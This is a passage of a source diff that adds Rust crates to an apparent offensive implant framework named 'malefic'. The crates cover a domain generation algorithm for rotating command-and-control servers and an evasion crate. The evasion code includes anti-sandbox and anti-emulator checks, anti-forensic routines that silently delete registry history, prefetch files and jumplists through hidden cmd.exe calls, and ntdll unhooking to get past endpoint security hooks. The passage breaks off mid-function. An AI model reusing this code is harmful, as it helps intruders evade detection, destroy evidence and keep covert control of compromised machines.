self.iv.clone(); + xor_process(&mut buffer, &key, &iv, &mut self.decrypt_counter); + writer.write_all(&mut buffer).map_err(|e| e.to_string())?; + Ok(()) + } + + fn reset(&mut self) { + self.encrypt_counter = 0; + self.decrypt_counter = 0; + } +} diff --git a/malefic-crates/crypto/src/lib.rs b/malefic-crates/crypto/src/lib.rs new file mode 100644 index 0000000..15f01e8 --- /dev/null +++ b/malefic-crates/crypto/src/lib.rs @@ -0,0 +1,2 @@ +pub mod compress; +pub mod crypto; diff --git a/malefic-crates/dga/Cargo.toml b/malefic-crates/dga/Cargo.toml new file mode 100644 index 0000000..4b3800b --- /dev/null +++ b/malefic-crates/dga/Cargo.toml @@ -0,0 +1,12 @@ +[package] +name = "malefic-dga" +version = "0.1.0" +edition = "2021" + +[dependencies] +chrono = { workspace = true } +sha2 = { workspace = true } +thiserror = { workspace = true } +malefic-common = { workspace = true } +malefic-config = { workspace = true } +malefic-gateway = { workspace = true } diff --git a/malefic-crates/dga/README.md b/malefic-crates/dga/README.md new file mode 100644 index 0000000..5df318a --- /dev/null +++ b/malefic-crates/dga/README.md @@ -0,0 +1,71 @@ +# malefic-dga + +基于时间窗å£å’Œ SHA-256 哈希的域å生æˆç®—法(DGA)实现。 + +## 功能简介 + +- æ ¹æ®å½“剿—¶é—´çª—å£å’Œé¢„共享密钥,动æ€ç”ŸæˆåŸŸåå‰ç¼€ +- 使用 SHA-256 对 `æ—¶é—´ç§å­ + 密钥` 进行哈希,映射为 8 ä½å°å†™å­—æ¯å‰ç¼€ +- 支æŒå¯é…置的时间窗å£é—´éš”ï¼ˆæŒ‰å°æ—¶åˆ’分) +- 自动将生æˆçš„域å应用到æœåŠ¡ç«¯é…置(地å€ã€TLS SNIã€HTTP Host) +- 支æŒå¤šåŸŸååŽç¼€æ‰¹é‡ç”Ÿæˆ + +## 核心结构 + +| 结构体 / 枚举 | 说明 | +|----------------|------| +| `TimeWindow` | 时间窗å£ï¼ŒæŒ‰å¹´/月/æ—¥/å°æ—¶æ®µåˆ’分,用于生æˆç§å­å­—符串 | +| `DgaAlgorithm` | DGA ç®—æ³•æ ¸å¿ƒï¼ŒæŒæœ‰å¯†é’¥ã€é—´éš”和域ååŽç¼€åˆ—表 | +| `DgaGenerator` | 高层生æˆå™¨ï¼Œä»ŽæœåŠ¡ç«¯é…置模æ¿ç”Ÿæˆæ–°çš„带 DGA 域åçš„é…ç½® | +| `DgaDomain` | 生æˆç»“果,包å«å®Œæ•´åŸŸåã€ç§å­ã€å‰ç¼€å’ŒåŽç¼€ | +| `DgaError` | 错误类型(ç¦ç”¨ã€æ— åŸŸåã€æ— æ•ˆæ—¶é—´çª—å£ã€ç”Ÿæˆå¤±è´¥ï¼‰ | + +## 算法æµç¨‹ + +1. 获å–å½“å‰ UTC 时间,按é…ç½®çš„é—´éš”å°æ—¶æ•°è®¡ç®—æ—¶é—´çª—å£ +2. 拼接ç§å­å­—符串:`{å¹´}{月}{æ—¥}{å°æ—¶æ®µ}{密钥}` +3. 对ç§å­åš SHA-256 哈希,å–å‰ 8 字节映射到 `a-z`,得到域åå‰ç¼€ +4. å°†å‰ç¼€ä¸Žæ¯ä¸ªåŸŸååŽç¼€æ‹¼æŽ¥ï¼Œç”Ÿæˆå®Œæ•´åŸŸå列表 +5. 基于模æ¿é…置,更新地å€ã€TLS SNI å’Œ HTTP Host 头 + +## 基本用法 + +```rust +use malefic_dga::{DgaAlgorithm, TimeWindow}; + +// 直接使用算法层 +let algorithm = DgaAlgorithm::new( + "my_secret_key".to_string(), + 12, // æ¯ 12 å°æ—¶åˆ‡æ¢ä¸€æ¬¡åŸŸå + vec!["example.com".to_string(), "example.org".to_string()], +); + +let domains = algorithm.generate(); +for d in &domains { + println!("{}", d.domain); // e.g. "abcdefgh.example.com" +} +``` + +```rust +use malefic_dga::DgaGenerator; + +// 从æœåŠ¡ç«¯é…置模æ¿ç”Ÿæˆ +let generator = DgaGenerator::from_server_configs(server_configs)?; +let new_configs = generator.generate_new_server(); +``` + +```rust +use malefic_dga::TimeWindow; + +// 获å–当å‰å’Œå‰ä¸€ä¸ªæ—¶é—´çª—å£ +let current = TimeWindow::current(6); +let previous = current.previous(6); +println!("当å‰ç§å­: {}", current.to_seed_string()); +println!("上一窗å£ç§å­: {}", previous.to_seed_string()); +``` + +## å‚考链接 + +- [Domain Generation Algorithm - Wikipedia](https://en.wikipedia.org/wiki/Domain_generation_algorithm) +- [SHA-2 (sha2 crate)](https://docs.rs/sha2) +- [chrono - 日期时间库](https://docs.rs/chrono) diff --git a/malefic-crates/dga/src/algorithm.rs b/malefic-crates/dga/src/algorithm.rs new file mode 100644 index 0000000..4531df8 --- /dev/null +++ b/malefic-crates/dga/src/algorithm.rs @@ -0,0 +1,63 @@ +use super::{DgaDomain, TimeWindow}; +use malefic_common::debug; +use malefic_gateway::ObfDebug; +use sha2::{Digest, Sha256}; + +#[derive(ObfDebug)] +pub struct DgaAlgorithm { + key: String, + interval_hours: u32, + domains: Vec, +} + +impl DgaAlgorithm { + pub fn new(key: String, interval_hours: u32, domains: Vec) -> Self { + Self { + key, + interval_hours, + domains, + } + } + + fn encode(&self, seed: String) -> String { + let mut hasher = Sha256::new(); + hasher.update(seed.as_bytes()); + let hash = hasher.finalize(); + + let mut prefix = String::new(); + let alphabet = b"abcdefghijklmnopqrstuvwxyz"; + + for i in 0..8.min(hash.len()) { + let index = (hash[i] as usize) % alphabet.len(); + prefix.push(alphabet[index] as char); + } + + prefix + } + + pub fn generate(&self) -> Vec { + let current_window = TimeWindow::current(self.interval_hours); + let seed = format!("{}{}", current_window.to_seed_string(), self.key); + debug!("[debug] Seed_DgaKey: '{}'", seed); + + let prefix = self.encode(seed.clone()); + + let mut domains = Vec::new(); + for suffix in &self.domains { + let domain = format!("{}.{}", prefix, suffix); + domains.push(DgaDomain { + domain, + seed: seed.clone(), + prefix: prefix.clone(), + suffix: suffix.clone(), + }); + } + + debug!( + "[dga] Generated {} domains for current time window: {}", + domains.len(), + current_window.to_seed_string() + ); + domains + } +} diff --git a/malefic-crates/dga/src/generator.rs b/malefic-crates/dga/src/generator.rs new file mode 100644 index 0000000..59b8a5d --- /dev/null +++ b/malefic-crates/dga/src/generator.rs @@ -0,0 +1,112 @@ +use super::{DgaAlgorithm, DgaDomain, DgaError}; +use malefic_common::debug; +use malefic_config::ServerConfig; +use malefic_gateway::ObfDebug; + +#[derive(ObfDebug)] +pub struct DgaGenerator { + algorithm: DgaAlgorithm, + template_configs: Vec, +} + +impl DgaGenerator { + pub fn from_server_configs(server_configs: Vec) -> Result { + if server_configs.is_empty() { + return Err(DgaError::NoDomains); + } + + let dga_key = malefic_config::DGA_KEY.clone(); + let interval_hours = malefic_config::DGA_INTERVAL_HOURS.clone(); + + let domains: Vec = server_configs + .iter() + .filter_map(|config| config.get_domain_suffix().map(|s| s.clone())) + .collect(); + + if domains.is_empty() { + return Err(DgaError::NoDomains); + } + + debug!( + "[dga] Using domain suffixes from server configs: {:?}", + domains + ); + + let algorithm = DgaAlgorithm::new(dga_key, interval_hours, domains); + + Ok(Self { + algorithm, + template_configs: server_configs, + }) + } + + pub fn generate_new_server(&self) -> Vec { + let dgas = self.algorithm.generate(); + let mut server_configs = Vec::new(); + for dga in dgas { + let template = self.find_template_for_domain(&dga.suffix).unwrap(); + let config = self.create_server_config(&dga, template); + server_configs.push(config); + } + server_configs + } + + fn find_template_for_domain(&self, suffix: &str) -> Option<&ServerConfig> { + self.template_configs.iter().find(|config| { + config + .get_domain_suffix() + .map(|s| s == suffix) + .unwrap_or(false) + }) + } + + fn create_server_config(&self, domain: &DgaDomain, template: &ServerConfig) -> ServerConfig { + let mut config = template.clone(); + + let port = if let Some(colon_pos) = template.address.rfind(':') { + &template.address[colon_pos..] + } else { + ":443" + }; + + config.address = format!("{}{}", domain.domain, port); + + if let Some(ref mut tls_config) = config.tls_config { + let should_update_sni = tls_config.sni.is_empty() + || tls_config.sni == domain.suffix + || tls_config.sni == template.address.split(':').next().unwrap_or(""); + + if should_update_sni { + tls_config.sni = domain.domain.clone(); + debug!( + "[dga] Updated SNI: {} -> {}", + template.address, tls_config.sni + ); + } else { + debug!("[dga] Keeping custom SNI: {}", tls_config.sni); + } + } + + if let malefic_config::TransportConfig::Http(ref mut http_config) = config.transport_config + { + http_config + .headers + .insert("Host".to_string(), domain.domain.clone()); + debug!("[dga] Updated HTTP Host header: {}", domain.domain); + } + + debug!( + "[dga] Created config: {} -> {} (SNI: {}, time window: {})", + template.address, + config.address, + config + .tls_config + .as_ref() + .map(|t| &t.sni) + .unwrap_or(&"none".to_string()), + domain.seed + ); + + config + } +} diff --git a/malefic-crates/dga/src/lib.rs b/malefic-crates/dga/src/lib.rs new file mode 100644 index 0000000..27fd258 --- /dev/null +++ b/malefic-crates/dga/src/lib.rs @@ -0,0 +1,97 @@ +mod algorithm; +mod generator; + +pub use algorithm::DgaAlgorithm; +pub use generator::DgaGenerator; + +use std::time::{SystemTime, UNIX_EPOCH}; + +use chrono::TimeZone; +use chrono::{DateTime, Datelike, Timelike, Utc}; +use malefic_gateway::ObfDebug; + +/// DGA time window structure +#[derive(ObfDebug, Clone, PartialEq)] +pub struct TimeWindow { + pub year: i32, + pub month: u32, + pub day: u32, + pub hour_segment: u32, +} + +impl TimeWindow { + /// Create time window based on current time and interval hours + pub fn from_timestamp(timestamp: u64, interval_hours: u32) -> Self { + let dt = DateTime::from_timestamp(timestamp as i64, 0).unwrap_or_else(|| Utc::now()); + + let hour_segment = dt.hour() / interval_hours; + + Self { + year: dt.year(), + month: dt.month(), + day: dt.day(), + hour_segment, + } + } + + /// Get current time window + pub fn current(interval_hours: u32) -> Self { + let now = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap_or_default() + .as_secs(); + Self::from_timestamp(now, interval_hours) + } + + /// Get previous time window + pub fn previous(&self, interval_hours: u32) -> Self { + let current_timestamp = self.to_timestamp(); + let previous_timestamp = current_timestamp.saturating_sub((interval_hours * 3600) as u64); + Self::from_timestamp(previous_timestamp, interval_hours) + } + + /// Convert to timestamp (for calculation) + fn to_timestamp(&self) -> u64 { + if let Some(dt) = Utc + .with_ymd_and_hms(self.year, self.month, self.day, self.hour_segment * 2, 0, 0) + .single() + { + dt.timestamp() as u64 + } else { + SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap_or_default() + .as_secs() + } + } + + /// Generate seed string for time window + pub fn to_seed_string(&self) -> String { + format!( + "{:04}{:02}{:02}{:02}", + self.year, self.month, self.day, self.hour_segment + ) + } +} + +/// DGA domain +#[derive(ObfDebug, Clone)] +pub struct DgaDomain { + pub domain: String, + pub seed: String, + pub prefix: String, + pub suffix: String, +} + +/// DGA error type +#[derive(Debug, thiserror::Error)] +pub enum DgaError { + #[error("DGA is disabled")] + Disabled, + #[error("No domains configured")] + NoDomains, + #[error("Invalid time window")] + InvalidTimeWindow, + #[error("Generation failed: {0}")] + GenerationFailed(String), +} diff --git a/malefic-crates/evader/Cargo.toml b/malefic-crates/evader/Cargo.toml new file mode 100644 index 0000000..e15c6c4 --- /dev/null +++ b/malefic-crates/evader/Cargo.toml @@ -0,0 +1,42 @@ +[package] +name = "malefic-evader" +version = "0.1.0" +edition = "2021" + +[features] +default = [] +debug = [] + +# Evader modules (from starship) +evader_anti_emu = [] +evader_etw_pass = [] +evader_god_speed = [] +evader_sleep_encrypt = [] +evader_anti_forensic = [] +evader_cfg_patch = [] +evader_api_untangle = [] +evader_normal_api = [] +evader_full = [ + "evader_anti_emu", + "evader_etw_pass", + "evader_god_speed", + "evader_sleep_encrypt", + "evader_anti_forensic", + "evader_cfg_patch", + "evader_api_untangle", + "evader_normal_api", +] + +# Anti-analysis modules (from win/anti) +anti_sandbox = ["malefic-os-win/reg"] +anti_vm = [] + +# Obfuscation (community: no-op) +obf_strings = [] +obf_junk = [] + +[dependencies] +malefic-os-win = { workspace = true, default-features = false } +malefic-gateway = { workspace = true } +malefic-process = { workspace = true } +malefic-common = { workspace = true, default-features = false } diff --git a/malefic-crates/evader/src/anti_emu.rs b/malefic-crates/evader/src/anti_emu.rs new file mode 100644 index 0000000..7f82982 --- /dev/null +++ b/malefic-crates/evader/src/anti_emu.rs @@ -0,0 +1,292 @@ +//! Anti-sandbox / anti-emulator checks (BOAZ anti_emu port). +//! +//! Returns `true` when the environment looks like a real machine, +//! `false` when it looks like a sandbox or emulator. + +use core::ffi::c_void; +use core::mem::{size_of, zeroed}; +use core::ptr::null_mut; + +use crate::types::{MEM_COMMIT, MEM_RESERVE, PAGE_NOACCESS, PAGE_READWRITE, TH32CS_SNAPPROCESS}; +use malefic_os_win::kit::binding::{ + MCreateToolhelp32Snapshot, MGetCurrentProcessId, MGetProcAddress, MLoadLibraryA, + MProcess32First, MProcess32Next, MVirtualAlloc, MVirtualAllocExNuma, +}; + +/// Maximum path length for process names +const MAX_PATH: usize = 260; + +/// PROCESSENTRY32 — mirrors Types.rs PROCESSENTRY32 for local use. +#[repr(C)] +struct ProcessEntry32 { + dw_size: u32, + cnt_usage: u32, + th32_process_id: u32, + th32_default_heap_id: usize, + th32_module_id: u32, + cnt_threads: u32, + th32_parent_process_id: u32, + pc_pri_class_base: i32, + dw_flags: u32, + sz_exe_file: [u8; MAX_PATH], +} + +impl ProcessEntry32 { + fn zeroed() -> Self { + let mut e: Self = unsafe { zeroed() }; + e.dw_size = size_of::() as u32; + e + } + fn name_bytes(&self) -> &[u8] { + let end = self + .sz_exe_file + .iter() + .position(|&b| b == 0) + .unwrap_or(MAX_PATH); + &self.sz_exe_file[..end] + } +} + +// ─── Individual checks ─────────────────────────────────────────────────────── + +/// fs1: write a known pattern to a temp file and read it back. +fn fs1() -> bool { + let tmp = std::env::temp_dir().join("~tmpchk.dat"); + let pattern = obf_cstr!(b"REALENV_CHECK_2025"); + if std::fs::write(&tmp, &pattern).is_err() { + return false; + } + let result = std::fs::read(&tmp).unwrap_or_default(); + let _ = std::fs::remove_file(&tmp); + result == pattern +} + +/// fs2: a real DLL (ntdll) must load; a fake one must fail. +fn fs2() -> bool { + let real = obf_cstr!(b"ntdll.dll\0"); + let fake = obf_cstr!(b"__nonexistent_totally_fake__.dll\0"); + unsafe { + let h_real = MLoadLibraryA(real.as_ptr()); + let h_fake = MLoadLibraryA(fake.as_ptr()); + !h_real.is_null() && h_fake.is_null() + } +} + +/// time2: Sleep(300ms) should advance GetTickCount by ≥ 250ms. +fn time2() -> bool { + use std::time::Instant; + let t0 = Instant::now(); + std::thread::sleep(std::time::Duration::from_millis(300)); + t0.elapsed().as_millis() >= 250 +} + +/// time3: a thread that loops for a set count; compare wall-clock vs count. +fn time3() -> bool { + use std::sync::atomic::{AtomicU64, Ordering}; + use std::sync::Arc; + let counter = Arc::new(AtomicU64::new(0)); + let counter2 = counter.clone(); + let t0 = std::time::Instant::now(); + let h = std::thread::spawn(move || { + for _ in 0..5_000_000u64 { + counter2.fetch_add(1, Ordering::Relaxed); + } + }); + let _ = h.join(); + let elapsed = t0.elapsed().as_millis(); + // In a real machine, 5M iterations should be nearly instantaneous (< 500ms). + // Sandboxes often slow-path threads → much longer. + counter.load(Ordering::Relaxed) == 5_000_000 && elapsed < 2000 +} + +/// instrumentation9: parent process should be explorer, cmd, or powershell. +fn instrumentation9() -> bool { + unsafe { + let snapshot = MCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if snapshot.is_null() || snapshot == -1isize as *mut c_void { + return false; + } + let my_pid = MGetCurrentProcessId(); + let mut entry = ProcessEntry32::zeroed(); + let mut parent_pid: u32 = 0; + + // Find our own parent PID + if MProcess32First(snapshot, &mut entry as *mut _ as *mut c_void) { + loop { + if entry.th32_process_id == my_pid { + parent_pid = entry.th32_parent_process_id; + break; + } + if !MProcess32Next(snapshot, &mut entry as *mut _ as *mut c_void) { + break; + } + entry = ProcessEntry32::zeroed(); + } + } + + // Find parent process name + let mut found = false; + if parent_pid != 0 { + let mut e2 = ProcessEntry32::zeroed(); + if MProcess32First(snapshot, &mut e2 as *mut _ as *mut c_void) { + loop { + if e2.th32_process_id == parent_pid { + let name = e2.name_bytes().to_ascii_lowercase(); + let explorer_name = obf_cstr!(b"explorer"); + let cmd_name = obf_cstr!(b"cmd.exe"); + let ps_name = obf_cstr!(b"powershell"); + found = name.windows(8).any(|w| w == explorer_name.as_slice()) + || name.windows(7).any(|w| w == cmd_name.as_slice()) + || name.windows(11).any(|w| w == ps_name.as_slice()); + break; + } + if !MProcess32Next(snapshot, &mut e2 as *mut _ as *mut c_void) { + break; + } + e2 = ProcessEntry32::zeroed(); + } + } + } + malefic_os_win::kit::binding::MCloseHandle(snapshot); + parent_pid != 0 && found + } +} + +/// network445: attempt a TCP connection to localhost:445. +fn network445() -> bool { + use std::net::TcpStream; + use std::time::Duration; + let addr = obf_cstr!(b"127.0.0.1:445\0"); + let addr_str = std::str::from_utf8(&addr[..addr.len() - 1]).unwrap(); + TcpStream::connect_timeout(&addr_str.parse().unwrap(), Duration::from_millis(500)).is_ok() +} + +/// numa_func: VirtualAllocExNuma should succeed on real NUMA systems; +/// sandboxes often return NULL. +fn numa_func() -> bool { + unsafe { + use malefic_os_win::kit::binding::MGetCurrentProcess; + let h = MGetCurrentProcess(); + let p = MVirtualAllocExNuma( + h, + null_mut(), + 1024, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE, + 0, + ); + !p.is_null() + } +} + +/// god_father: allocate 1 GiB; real systems have the address space. +fn god_father() -> bool { + unsafe { + let p = MVirtualAlloc(null_mut(), 1 << 30, MEM_RESERVE, PAGE_NOACCESS); + !p.is_null() + } +} + +/// god_mother: count loop iterations in 100ms — real CPUs are much faster. +fn god_mother() -> bool { + use std::time::Instant; + let t0 = Instant::now(); + let mut count: u64 = 0; + while t0.elapsed().as_millis() < 100 { + count += 1; + } + // A real machine should exceed ~10M in 100ms. + count > 10_000_000 +} + +/// instrumentation1: count loaded modules via toolhelp snapshot — +/// a real process has many; sandboxes are typically sparse. +fn instrumentation1() -> bool { + const TH32CS_SNAPMODULE: u32 = 0x00000008; + // MODULEENTRY32 on x64 is 568 bytes (verified via Marshal::SizeOf) + #[repr(C)] + struct ModEntry { + dw_size: u32, + rest: [u8; 564], + } + unsafe { + let snap = MCreateToolhelp32Snapshot(TH32CS_SNAPMODULE, MGetCurrentProcessId()); + if snap.is_null() || snap == -1isize as *mut c_void { + return false; + } + let mut me: ModEntry = zeroed(); + me.dw_size = core::mem::size_of::() as u32; + + type SnapIterFn = unsafe extern "system" fn(*mut c_void, *mut c_void) -> i32; + let _obf_kernel32_dll = obf_cstr!(b"kernel32.dll\0"); + let lib = MLoadLibraryA(_obf_kernel32_dll.as_ptr()); + if lib.is_null() { + malefic_os_win::kit::binding::MCloseHandle(snap); + return false; + } + let _obf_module32first = obf_cstr!(b"Module32First\0"); + let m32first = MGetProcAddress(lib as *const c_void, _obf_module32first.as_ptr()); + let _obf_module32next = obf_cstr!(b"Module32Next\0"); + let m32next = MGetProcAddress(lib as *const c_void, _obf_module32next.as_ptr()); + if m32first.is_null() || m32next.is_null() { + malefic_os_win::kit::binding::MCloseHandle(snap); + return false; + } + let first_fn: SnapIterFn = core::mem::transmute(m32first); + let next_fn: SnapIterFn = core::mem::transmute(m32next); + + let mut count = 0usize; + if first_fn(snap, &mut me as *mut _ as *mut c_void) != 0 { + count += 1; + loop { + me.dw_size = core::mem::size_of::() as u32; + if next_fn(snap, &mut me as *mut _ as *mut c_void) == 0 { + break; + } + count += 1; + } + } + malefic_os_win::kit::binding::MCloseHandle(snap); + count > 5 + } +} + +// ─── Aggregate ─────────────────────────────────────────────────────────────── + +/// Run all checks; return `true` when the environment appears genuine. +/// +/// The scoring strategy matches the original BOAZ implementation: +/// at least 6 of the 9 checks must pass. +pub fn execute_all_checks() -> bool { + let checks: &[(&str, fn() -> bool)] = &[ + ("fs1", fs1), + ("fs2", fs2), + ("time2", time2), + ("time3", time3), + ("instrumentation9", instrumentation9), + ("network445", network445), + ("numa_func", numa_func), + ("god_father", god_father), + ("god_mother", god_mother), + ("instrumentation1", instrumentation1), + ]; + + let mut passed = 0usize; + for (name, check) in checks { + let result = check(); + debug_println!( + "[anti_emu] {:20} => {}", + name, + if result { "PASS" } else { "FAIL" } + ); + if result { + passed += 1; + } + } + debug_println!( + "[anti_emu] Result: {}/{} passed (threshold: 6)", + passed, + checks.len() + ); + passed >= 6 +} diff --git a/malefic-crates/evader/src/anti_forensic.rs b/malefic-crates/evader/src/anti_forensic.rs new file mode 100644 index 0000000..8381362 --- /dev/null +++ b/malefic-crates/evader/src/anti_forensic.rs @@ -0,0 +1,93 @@ +//! Anti-forensics: clear registry artefacts and prefetch files (BOAZ anti_forensic port). + +use core::ffi::c_void; +use core::mem::zeroed; +use core::ptr::null_mut; + +use crate::types::{CREATE_NO_WINDOW, INFINITE, PROCESS_INFORMATION, STARTUPINFOA}; +use malefic_os_win::kit::binding::{MCloseHandle, MCreateProcessA, MWaitForSingleObject}; + +// ─── Internal helper ────────────────────────────────────────────────────────── + +/// Run a command string silently and wait for it to finish. +fn run_cmd(cmd: &str) { + unsafe { + let mut si: STARTUPINFOA = zeroed(); + si.cb = core::mem::size_of::() as u32; + // Hide window + si.dwFlags = 0x00000001; // STARTF_USESHOWWINDOW + si.wShowWindow = 0; // SW_HIDE + let mut pi: PROCESS_INFORMATION = zeroed(); + + // Build: cmd.exe /C + let full: Vec = b"cmd.exe /C " + .iter() + .chain(cmd.as_bytes()) + .cloned() + .chain(core::iter::once(0)) + .collect(); + + let ok = MCreateProcessA( + null_mut(), + full.as_ptr() as *mut i8, + null_mut(), + null_mut(), + 0, + CREATE_NO_WINDOW, + null_mut(), + null_mut(), + &mut si as *mut STARTUPINFOA as *mut c_void, + &mut pi as *mut PROCESS_INFORMATION as *mut c_void, + ); + if ok { + MWaitForSingleObject(pi.hProcess, INFINITE); + MCloseHandle(pi.hProcess); + MCloseHandle(pi.hThread); + } + } +} + +// ─── Prefetch cleanup ───────────────────────────────────────────────────────── + +/// Delete `.pf` prefetch files created after the process started. +/// Uses `forfiles` to target only recently created entries. +fn delete_recent_prefetch() { + run_cmd(r#"forfiles /p C:\Windows\Prefetch /m *.pf /d +0 /c "cmd /c del /f /q @path""#); +} + +// ─── Registry cleanup ───────────────────────────────────────────────────────── + +/// Clear common forensic artefacts from the registry. +pub fn anti_forensic() { + // Run/MRU history + run_cmd(r#"reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v * /f 2>nul"#); + run_cmd( + r#"reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" /f 2>nul"#, + ); + + // Typed paths (Win + R history) + run_cmd( + r#"reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths" /f 2>nul"#, + ); + + // UserAssist (GUI program launch history) + run_cmd( + r#"reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist" /f 2>nul"#, + ); + + // Recent docs / jumplists + run_cmd(r#"del /f /q "%APPDATA%\Microsoft\Windows\Recent\*" 2>nul"#); + run_cmd(r#"del /f /q /s "%APPDATA%\Microsoft\Windows\Recent\AutomaticDestinations\*" 2>nul"#); + run_cmd(r#"del /f /q /s "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\*" 2>nul"#); + + // Console command history + run_cmd(r#"reg delete "HKCU\Console" /v HistoryBufferSize /f 2>nul"#); + + // AppCompatCache (shimcache) — requires admin but attempt anyway + run_cmd( + r#"reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" /v AppCompatCache /f 2>nul"#, + ); + + // Prefetch files + delete_recent_prefetch(); +} diff --git a/malefic-crates/evader/src/api_untangle.rs b/malefic-crates/evader/src/api_untangle.rs new file mode 100644 index 0000000..387b5ef --- /dev/null +++ b/malefic-crates/evader/src/api_untangle.rs @@ -0,0 +1,412 @@ +//! API unhooking by reading clean function bytes from the on-disk ntdll +//! (BOAZ api_untangle port). +//! +//! For each target function (default: `NtCreateThreadEx`, +//! `NtAllocateVirtualMemory`, `NtWriteVirtualMemory`, +//! `NtProtectVirtualMemory`), the first 8 bytes are read from the mapped +//! disk image and written over the in-memory (potentially hooked) copy. + +use core::ffi::c_void; + +use crate::types::PAGE_EXECUTE_READWRITE; +use malefic_os_win::kit::binding::{ + MGetCurrentProcess, MGetProcAddress, MLoadLibraryA, MNtFlushInstructionCache, MVirtualProtect, +}; + +/// Number of bytes to restore at the start of each function (enough to cover +/// a typical 5-byte JMP hook or 8-byte syscall stub). +const PATCH_SIZE: usize = 8; + +/// Path to the on-disk copy of ntdll (always present on Windows). +#[cfg(not(feature = "obf_strings"))] +const NTDLL_DISK_PATH: &str = r"C:\Windows\System32\ntdll.dll"; + +#[cfg(feature = "obf_strings")] +fn ntdll_disk_path() -> String { + let p = obf_cstr!(b"C:\\Windows\\System32\\ntdll.dll\0"); + String::from_utf8_lossy(&p[..p.len() - 1]).into_owned() +} + +/// Functions to unhook by default. +const DEFAULT_TARGETS: &[&str] = &[ + "NtCreateThreadEx", + "NtAllocateVirtualMemory", + "NtWriteVirtualMemory", + "NtProtectVirtualMemory", +]; + +// ─── PE helpers ─────────────────────────────────────────────────────────────── + +/// Find a function's raw file offset in a PE image loaded into `bytes`. +fn rva_to_raw(bytes: &[u8], rva: u32) -> Option { + let e_lfanew = u32::from_le_bytes(bytes[0x3C..0x40].try_into().ok()?) as usize; + let nt = e_lfanew; + let num_sec = u16::from_le_bytes(bytes[nt + 6..nt + 8].try_into().ok()?) as usize; + let opt_size = u16::from_le_bytes(bytes[nt + 20..nt + 22].try_into().ok()?) as usize; + let sec_off = nt + 24 + opt_size; + + for i in 0..num_sec { + let s = sec_off + i * 40; + let virt_addr = u32::from_le_bytes(bytes[s + 12..s + 16].try_into().ok()?); + let virt_size = u32::from_le_bytes(bytes[s + 16..s + 20].try_into().ok()?); + let raw_off = u32::from_le_bytes(bytes[s + 20..s + 24].try_into().ok()?) as usize; + + if rva >= virt_addr && rva < virt_addr + virt_size { + return Some(raw_off + (rva - virt_addr) as usize); + } + } + None +} + +/// Resolve `func_name` to its RVA using the export directory in `bytes`. +fn find_export_rva(bytes: &[u8], func_name: &str) -> Option { + let e_lfanew = u32::from_le_bytes(bytes[0x3C..0x40].try_into().ok()?) as usize; + let nt = e_lfanew; + // DataDirectory[0] (exports) at opt_hdr + 0x70 (PE32+) or + 0x60 (PE32) + // Magic at nt + 24 + let magic = u16::from_le_bytes(bytes[nt + 24..nt + 26].try_into().ok()?); + let exp_rva_off = if magic == 0x20B { + nt + 24 + 0x70 + } else { + nt + 24 + 0x60 + }; + let exp_rva = u32::from_le_bytes(bytes[exp_rva_off..exp_rva_off + 4].try_into().ok()?); + if exp_rva == 0 { + return None; + } + let exp_raw = rva_to_raw(bytes, exp_rva)? as usize; + + let num_names = u32::from_le_bytes(bytes[exp_raw + 24..exp_raw + 28].try_into().ok()?) as usize; + let addr_table_rva = + u32::from_le_bytes(bytes[exp_raw + 28..exp_raw + 32].try_into().ok()?) as usize; + let name_table_rva = + u32::from_le_bytes(bytes[exp_raw + 32..exp_raw + 36].try_into().ok()?) as usize; + let ord_table_rva = + u32::from_le_bytes(bytes[exp_raw + 36..exp_raw + 40].try_into().ok()?) as usize; + + let addr_raw = rva_to_raw(bytes, addr_table_rva as u32)? as usize; + let name_raw = rva_to_raw(bytes, name_table_rva as u32)? as usize; + let ord_raw = rva_to_raw(bytes, ord_table_rva as u32)? as usize; + + for i in 0..num_names { + let name_rva = u32::from_le_bytes( + bytes[name_raw + i * 4..name_raw + i * 4 + 4] + .try_into() + .ok()?, + ) as usize; + let name_off = rva_to_raw(bytes, name_rva as u32)? as usize; + let end = bytes[name_off..].iter().position(|&b| b == 0).unwrap_or(0); + let name_str = core::str::from_utf8(&bytes[name_off..name_off + end]).ok()?; + + if name_str == func_name { + let ord = u16::from_le_bytes( + bytes[ord_raw + i * 2..ord_raw + i * 2 + 2] + .try_into() + .ok()?, + ) as usize; + let fn_rva = u32::from_le_bytes( + bytes[addr_raw + ord * 4..addr_raw + ord * 4 + 4] + .try_into() + .ok()?, + ); + return Some(fn_rva); + } + } + None +} + +// ─── Main routine ───────────────────────────────────────────────────────────── + +/// Restore the first `PATCH_SIZE` bytes of each function in `targets` +/// using the clean on-disk ntdll image. +pub fn execute_modifications_for(targets: &[&str]) { + #[cfg(feature = "obf_strings")] + let disk_path = ntdll_disk_path(); + #[cfg(not(feature = "obf_strings"))] + let disk_path = NTDLL_DISK_PATH.to_string(); + + let disk_bytes = match std::fs::read(&disk_path) { + Ok(b) => b, + Err(_) => return, + }; + + unsafe { + let ntdll_mem = { + let _obf_ntdll_dll = obf_cstr!(b"ntdll.dll\0"); + let h = MLoadLibraryA(_obf_ntdll_dll.as_ptr()); + if h.is_null() { + return; + } + h as *mut u8 + }; + + for &func_name in targets { + // Get in-memory address via GetProcAddress + let mem_addr = MGetProcAddress( + ntdll_mem as *const c_void, + func_name + .as_bytes() + .iter() + .chain(core::iter::once(&0u8)) + .cloned() + .collect::>() + .as_ptr(), + ); + if mem_addr.is_null() { + continue; + } + + // Find the same function's bytes in the disk image + let fn_rva = match find_export_rva(&disk_bytes, func_name) { + Some(r) => r, + None => continue, + }; + let fn_raw = match rva_to_raw(&disk_bytes, fn_rva) { + Some(r) => r, + None => continue, + }; + if fn_raw + PATCH_SIZE > disk_bytes.len() { + continue; + } + let clean_bytes = &disk_bytes[fn_raw..fn_raw + PATCH_SIZE]; + + // Overwrite in-memory bytes + let target = mem_addr as *mut u8; + let mut old_prot: u32 = 0; + if MVirtualProtect( + target as *mut c_void, + PATCH_SIZE, + PAGE_EXECUTE_READWRITE, + &mut 